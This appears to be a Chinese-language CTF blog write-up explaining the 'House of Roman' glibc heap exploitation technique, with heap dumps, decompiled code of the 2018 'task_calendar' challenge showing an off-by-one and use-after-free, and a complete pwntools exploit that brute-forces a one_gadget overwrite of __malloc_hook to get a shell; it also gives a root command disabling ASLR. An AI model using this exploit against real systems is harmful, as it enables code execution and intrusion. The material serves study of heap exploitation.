House of Roman

总结一句话就是fastbin attack+unsorted bin attack+brute force
该方法不需要泄露libc地址,partial overwrite写onegadget或者system撞大运(1/4096)

step 1

Fastbin Chunk points to __malloc_hook

这里的fastbin attack利用了堆块的布局,结合off_by_one构造fastbin链,值得关注

1
fastbin_victim 0x71
chunk 0x91
main_arena_use 0x91
relative_offset_heap 0x71
Top chunk

2
free(main_arena_use)
unsortedbin main_arena_use 0x91

3
malloc(0x60)

fastbin_victim 0x71
chunk 0x91
fake_libc_chunk 0x71
unsorted bin 0x21
relative_offset_heap 0x71
Top chunk

4
free(relative_offset_heap)
free(fastbin_victim)

fastbin: fastbin_victim->relative_offset_heap

5
Previous

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Free chunk (fastbins) | PREV_INUSE
Addr: 0x603000
Size: 0x71
fd: 0x603190

Allocated chunk | PREV_INUSE
Addr: 0x603070
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x603100
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603170
Size: 0x21
fd: 0x7ffff7bcdb78
bk: 0x7ffff7bcdb78

Free chunk (fastbins)
Addr: 0x603190
Size: 0x70
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x603200
Size: 0x20e01

fastbin_victim的fd指针最后一字节改为\x00

After

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Free chunk (fastbins) | PREV_INUSE
Addr: 0x603000
Size: 0x71
fd: 0x603100

Allocated chunk | PREV_INUSE
Addr: 0x603070
Size: 0x91

Free chunk (fastbins) | PREV_INUSE
Addr: 0x603100
Size: 0x71
fd: 0x7ffff7bcdbf8

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603170
Size: 0x21
fd: 0x7ffff7bcdb78
bk: 0x7ffff7bcdb78

Allocated chunk
Addr: 0x603190
Size: 0x70

Top chunk | PREV_INUSE
Addr: 0x603200
Size: 0x20e01

虽然fake_libc_chunk此时处于used状态,但是其是从unsorted bin切割得到的,原fd指针处仍残留有指向main_arena附近的地址(为爆破出__malloc_hook-0x23地址做准备)
fastbin: fastbin_victim->fake_libc_chunk->main_arena+216
1
2
fastbins
0x70: 0x603000 —▸ 0x603100 —▸ 0x7ffff7bcdbf8 (main_arena+216) ◂— 0x7ffff7bcdbf8

6
此时位于0x603100处的fake_libc_chunk是used状态且被放入fastbin的
修改fake_libc_chunk的fd指针后两字节为&__malloc_hook-0x23后两字节
fastbin: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23) size:0x70
(开了地址随机化时该步骤成功率为1/16)

7
malloc(0x60)
malloc(0x60)
malloc_hook_chunk = malloc(0x60)

step 2

Unsorted_bin attack
1
unsorted bin ptr = malloc(0x80)
malloc(0x30) [barrier]

2
free(unsorted bin ptr) ->unsorted bin

3
Previous

1
2
3
4
5
6
7
8
9
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603200
Size: 0x91
fd: 0x7ffff7bcdb78
bk: 0x7ffff7bcdb78

Allocated chunk
Addr: 0x603290
Size: 0x40

修改unsorted bin的bk指针最后两字节为__malloc_hook最后两字节
After
1
2
3
4
5
6
7
8
9
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603200
Size: 0x91
fd: 0x7ffff7bcdb78
bk: 0x7ffff7bcdb00

Allocated chunk
Addr: 0x603290
Size: 0x40

这一步存在爆破,正确与否与之前fastbin attack中相同,成功率不变

4
trigger the unsortedbin attack
malloc(0x80)

则会向地址0x7ffff7bcdb00+0x10处写入0x7ffff7bcdb78,即向__malloc_hook写入main_arena+88

step 3

set __malloc_hook to system/one_gadget
此时__malloc_hook已经写入了main_arena+88
接下来利用step 1中fastbin attack申请到的chunk对__malloc_hook进行partial overwrite,共写入三个字节,其中低12bits是确定的,而高12bits需要爆破,成功率为1/4096=0.02%
同时如果这里能爆破成功,则上一步必然也成功,所以这一步的成功率为整个攻击的成功率

举例来说
当前__malloc_hook写入的是0x00007ffff7bcdb78(但我们实际上不知道)
自行假设libc基址后三字节为0x809000
计算得one_gadget后三字节为0x84e226
并且好像__malloc_hook的倒数第三个数字与libc基址倒数第三个数字固定相差0x4,所以也就可以算出fastbin attack中需要爆破的数字应该为0xd

总结

  • fastbin attack(堆排布+off by one+brute force)申请到__malloc_hook-0x23处的堆块
  • unsorted bin attack将main_arena+88写入__malloc_hook
  • 编辑堆块,partial overwrite写入onegadget或system地址

(7.13更新)

例题

护网杯2018 2018_task_calendar

题目分析

无输出
开了PIE

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_QWORD *add()
{
_QWORD *result; // rax
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

result = menu2();
v1 = result;
if ( result != -1 )
{
printf("size> ");
result = read_int();
v2 = result;
if ( result >= 0 && result <= 104 )
{
heap_ptr[v1] = malloc(result);
result = heap_size;
heap_size[v1] = v2;
}
}
return result;
}

只能存放4个chunk指针
申请的chunk大小限制在0~104 (0x68)
指针和size存在bss段上

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int sub_E0E()
{
unsigned __int64 v0; // rax
int v2; // [rsp+8h] [rbp-8h]
signed int v3; // [rsp+Ch] [rbp-4h]

LODWORD(v0) = menu2();
v2 = v0;
if ( v0 != -1 )
{
v0 = heap_ptr[v0];
if ( v0 )
{
printf("size> ");
LODWORD(v0) = read_int();
v3 = v0;
if ( v0 > 0 )
{
v0 = heap_size[v2];
if ( v3 <= v0 )
{
printf("info> ");
LODWORD(v0) = read_content(heap_ptr[v2], v3);
}
}
}
}
return v0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall sub_B5F(__int64 a1, signed int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == 10 )
{
*(i + a1) = 0;
return i;
}
*(a1 + i) = buf;
}
return i;
}

注意到edit中for语句for ( i = 0; i <= a2; ++i ),存在off by one。同时最少读入两字节。
另外可以对处于free状态的chunk编辑

delete

1
2
3
4
5
6
7
8
void sub_ED5()
{
int v0; // [rsp+Ch] [rbp-4h]

v0 = menu2();
if ( v0 != -1 )
free(heap_ptr[v0]);
}

只free了指针
没有置0
存在uaf

思路

利用house of roman

  • 先申请几个堆,然后利用off by one修改下一个chunk的size位(该chunk大小和下一个chunk大小相加再加0x10),再free掉被修改size的chunk,从而构造出unsorted bin

  • 申请相应大小的chunk,让unsorted bin中的另一个指针刚好指向切割后剩下的unsorted bin的fd

  • 然后free掉两个fastbin,根据堆之间的偏移修改其中一个fastbin的fd(改一个字节),使其指向刚才剩下的unsorted bin。然后再利用之前说的有一个指向剩下的unsorted bin的指针修改其fd指向__malloc_hook-0x23,再申请三次即可完成fastbin attack(注意该fastbin链对应的chunk size为0x70)

  • 接下来进行unsorted bin attack。注意之前剩下的unsorted bin属于能申请的范围,且有指针指向。直接覆盖其fd,并将bk指向__malloc_hook-0x10,然后申请相应大小的chunk,即完成unsorted bin attack

  • 最后利用fastbin attack申请到的chunk修改__malloc_hook处地址三个字节为one_gadget,再malloc即可。

调试方法

先把本地ASLR关了
root下执行
echo 0 > /proc/sys/kernel/randomize_va_space

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import*
context(os='linux', arch='amd64')# log_level='debug')

cmd1 = lambda x : r.sendafter('> ', x)
cmd2 = lambda x : r.sendlineafter('> ', str(x))

def add(idx, size):
cmd2(1)
cmd2(idx)
cmd2(size)

def edit(idx, size,data):
cmd2(2)
cmd2(idx)
cmd2(size)
cmd1(data)


def remove(idx):
cmd2(3)
cmd2(idx)

def attack():
cmd1("111\n")

add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
add(4, 0x68)


edit(1, 0x68, 'a'*0x68+'\xe1')
remove(2)

add(4, 0x68)

remove(4)
remove(1)

edit(1, 1, '\xe0\x70')
edit(3, 1, '\xed\x1a')
add(1, 0x68)
add(1, 0x68)
add(1, 0x68)

edit(3, 9, '\x00'*8+'\x00\x1b')
edit(4, 0x68, 'a'*0x68+'\x61')
add(4, 0x58)

#edit(1, 0x15, 'a'*0x13+'\xa4\xd3\x23')
edit(1, 0x15, 'a'*0x13+'\x47\xe2\x42')

#edit(1, 0x15, 'a'*0x13+'\x47\xe2\xaf')
add(1, 0x10)


i = 1
while True:
r = process('./2018_task_calendar')
try:
attack()
#gdb.attach(r)
r.sendline('ls')

except:
print i
i = i+1
r.close()
else:
r.interactive()


后记

本来想调原作者给的demo,结果可能是版本原因,调完发现onegadget都打不通
不过还是从作者的思路学到了这种fastbin attack+unsorted bin attack的组合技,可以先利用unsorted bin attack写一个地址,再利用这个地址第一个字节是0x7f来作为fake fastbin的size位,这样一来计算好偏移即可完成fastbin attack,且理论上可以完成任意地址的fastbin attack

另外实际成功率确实很低
调了很久终于运气好出了(不过还是本地的)
留图纪念